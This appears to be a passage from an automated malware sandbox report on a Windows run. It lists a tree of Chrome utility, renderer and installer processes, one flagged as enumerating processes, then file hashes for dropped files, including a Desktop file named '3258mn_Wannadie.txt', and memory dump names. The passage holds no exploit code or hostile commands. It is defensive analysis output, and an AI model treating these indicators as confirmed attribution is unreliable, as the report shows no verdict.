C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1576,10159177567567205097,7909354378332434954,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5644 /prefetch:82⤵PID:4516
-
C:\Program Files\Google\Chrome\Application\93.0.4577.63\Installer\chrmstp.exe"C:\Program Files\Google\Chrome\Application\93.0.4577.63\Installer\chrmstp.exe" --configure-user-settings --verbose-logging --system-level --channel=stable --force-configure-user-settings2⤵PID:4564
-
C:\Program Files\Google\Chrome\Application\93.0.4577.63\Installer\chrmstp.exe"C:\Program Files\Google\Chrome\Application\93.0.4577.63\Installer\chrmstp.exe" --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Windows\TEMP\Crashpad --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=93.0.4577.63 --initial-client-data=0x23c,0x240,0x244,0x218,0x248,0x7ff793986ee0,0x7ff793986ef0,0x7ff793986f003⤵PID:4632
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1576,10159177567567205097,7909354378332434954,131072 --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=5320 /prefetch:82⤵PID:4692
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1576,10159177567567205097,7909354378332434954,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5284 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
PID:4708 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1576,10159177567567205097,7909354378332434954,131072 --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=5276 /prefetch:82⤵PID:4732
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1576,10159177567567205097,7909354378332434954,131072 --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=5340 /prefetch:82⤵PID:4780
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1576,10159177567567205097,7909354378332434954,131072 --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=5304 /prefetch:82⤵PID:4848
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1576,10159177567567205097,7909354378332434954,131072 --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=5268 /prefetch:82⤵PID:4892
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1576,10159177567567205097,7909354378332434954,131072 --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=5968 /prefetch:82⤵PID:4932
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1576,10159177567567205097,7909354378332434954,131072 --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=5732 /prefetch:82⤵PID:4988
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1576,10159177567567205097,7909354378332434954,131072 --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=5568 /prefetch:82⤵PID:5068
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1576,10159177567567205097,7909354378332434954,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5344 /prefetch:82⤵PID:4220
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1576,10159177567567205097,7909354378332434954,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6536 /prefetch:82⤵PID:4300
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1576,10159177567567205097,7909354378332434954,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6676 /prefetch:82⤵PID:4404
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1576,10159177567567205097,7909354378332434954,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7408 /prefetch:82⤵PID:4436
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1576,10159177567567205097,7909354378332434954,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7556 /prefetch:82⤵PID:4468
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1576,10159177567567205097,7909354378332434954,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7704 /prefetch:82⤵PID:4532
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1576,10159177567567205097,7909354378332434954,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7836 /prefetch:82⤵PID:4588
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1576,10159177567567205097,7909354378332434954,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=8128 /prefetch:82⤵PID:4516
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1576,10159177567567205097,7909354378332434954,131072 --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=8236 /prefetch:82⤵PID:1380
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1576,10159177567567205097,7909354378332434954,131072 --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=8248 /prefetch:82⤵PID:1028
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1576,10159177567567205097,7909354378332434954,131072 --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=7296 /prefetch:82⤵PID:4716
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1576,10159177567567205097,7909354378332434954,131072 --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=7880 /prefetch:82⤵PID:4724
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1576,10159177567567205097,7909354378332434954,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=45 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5268 /prefetch:12⤵PID:4844
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1576,10159177567567205097,7909354378332434954,131072 --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=6932 /prefetch:82⤵PID:4824
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1576,10159177567567205097,7909354378332434954,131072 --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=7116 /prefetch:82⤵PID:4976
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1576,10159177567567205097,7909354378332434954,131072 --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=7232 /prefetch:82⤵PID:4280
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1576,10159177567567205097,7909354378332434954,131072 --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=5328 /prefetch:82⤵PID:4432
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --field-trial-handle=1576,10159177567567205097,7909354378332434954,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=50 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6936 /prefetch:12⤵PID:4536
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --field-trial-handle=1576,10159177567567205097,7909354378332434954,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=51 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3272 /prefetch:12⤵PID:352
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad\settings.datMD5
b9e3587a91b2f4c63287da3dc200c4e8
SHA1f5eedb75b1a20ca96d6ca5de71fa3a67c4c45452
SHA256ca200deeda530c93be8744d51c27601ca0651aae7f8fd8d283f6d39b4eb82018
SHA512e723f45249ad3b6e3a9f8299141850b1f4d3f5c618c20176bfdca88f45f04d8ebce075b948659e5825cc0f6144f9d6c79e94fe87fd93b08e3e0024cf9cb249fa
-
C:\Users\Admin\Desktop\3258mn_Wannadie.txtMD5
3cd108dde93c14a9f526d5acefcd8edc
SHA134b28ea94baacaf921f446f6cc7a0ab282c7d543
SHA2568be8587eeb9d34b80027319d7ed0e5f70aee953f83d49dd87878367479dbc3e2
SHA5127e2df1008269efbb2d5ec952348550e4b196bd257d42af361bc7db7cc7e3101e04b778221d288a607b89b3003572ec6f15bc37257e02d7ed06b8fbe84c1d1cec
-
\??\pipe\crashpad_2036_IGGFVQEYPTGTBOLMMD5
d41d8cd98f00b204e9800998ecf8427e
SHA1da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e
-
memory/352-423-0x0000000000000000-mapping.dmp
-
memory/596-163-0x0000000000000000-mapping.dmp
-
memory/908-218-0x0000000000000000-mapping.dmp
-
memory/1020-127-0x0000019032403000-0x0000019032405000-memory.dmpFilesize
8KB
-
memory/1020-135-0x0000019032406000-0x0000019032408000-memory.dmpFilesize
8KB
-
memory/1020-123-0x00000190325C0000-0x00000190325C1000-memory.dmpFilesize
4KB
-
memory/1020-115-0x0000000000000000-mapping.dmp
-
memory/1020-120-0x0000019032410000-0x0000019032411000-memory.dmpFilesize
4KB
-
memory/1020-126-0x0000019032400000-0x0000019032402000-memory.dmpFilesize
8KB
-
memory/1028-375-0x0000000000000000-mapping.dmp
-
memory/1264-231-0x0000000000000000-mapping.dmp
-
memory/1380-371-0x0000000000000000-mapping.dmp
-
memory/1384-176-0x0000000000000000-mapping.dmp
-
memory/1888-137-0x0000000000000000-mapping.dmp
-
memory/2216-192-0x0000000000000000-mapping.dmp
-
memory/2592-205-0x0000000000000000-mapping.dmp
-
memory/2620-235-0x0000000000000000-mapping.dmp
-
memory/2680-197-0x0000000000000000-mapping.dmp
-
memory/2688-158-0x0000000000000000-mapping.dmp
-
memory/3284-181-0x0000000000000000-mapping.dmp
-
memory/3332-159-0x00007FFA21510000-0x00007FFA21511000-memory.dmpFilesize
4KB
-
memory/3332-157-0x0000000000000000-mapping.dmp
-
memory/3604-240-0x0000000000000000-mapping.dmp
-
memory/3604-171-0x0000000000000000-mapping.dmp
-
memory/3628-138-0x0000000000000000-mapping.dmp
-
memory/3640-185-0x0000000000000000-mapping.dmp
-
memory/3952-152-0x0000000000000000-mapping.dmp
-
memory/3968-220-0x0000000000000000-mapping.dmp
-
memory/4144-245-0x0000000000000000-mapping.dmp
-
memory/4172-250-0x0000000000000000-mapping.dmp
-
memory/4220-331-0x0000000000000000-mapping.dmp
-
memory/4228-255-0x0000000000000000-mapping.dmp
-
memory/4280-401-0x0000000000000000-mapping.dmp
-
memory/4300-336-0x0000000000000000-mapping.dmp
-
memory/4312-260-0x0000000000000000-mapping.dmp
-
memory/4404-341-0x0000000000000000-mapping.dmp
-
memory/4428-267-0x0000000000000000-mapping.dmp
-
memory/4432-413-0x0000000000000000-mapping.dmp
-
memory/4436-346-0x0000000000000000-mapping.dmp
-
memory/4460-272-0x0000000000000000-mapping.dmp
-
memory/4468-350-0x0000000000000000-mapping.dmp
-
memory/4516-277-0x0000000000000000-mapping.dmp
-
memory/4516-366-0x0000000000000000-mapping.dmp
-
memory/4532-356-0x0000000000000000-mapping.dmp
-
memory/4536-418-0x0000000000000000-mapping.dmp
-
memory/4564-281-0x0000000000000000-mapping.dmp
-
memory/4588-361-0x0000000000000000-mapping.dmp
-
memory/4632-284-0x0000000000000000-mapping.dmp
-
memory/4692-288-0x0000000000000000-mapping.dmp
-
memory/4708-291-0x0000000000000000-mapping.dmp
-
memory/4716-381-0x0000000000000000-mapping.dmp
-
memory/4724-384-0x0000000000000000-mapping.dmp
-
memory/4732-295-0x0000000000000000-mapping.dmp
-
memory/4780-299-0x0000000000000000-mapping.dmp
-
memory/4824-393-0x0000000000000000-mapping.dmp
-
memory/4844-390-0x0000000000000000-mapping.dmp
-
memory/4848-304-0x0000000000000000-mapping.dmp
-
memory/4892-308-0x0000000000000000-mapping.dmp
-
memory/4932-314-0x0000000000000000-mapping.dmp
-
memory/4976-398-0x0000000000000000-mapping.dmp
-
memory/4988-319-0x0000000000000000-mapping.dmp
-
memory/5068-324-0x0000000000000000-mapping.dmp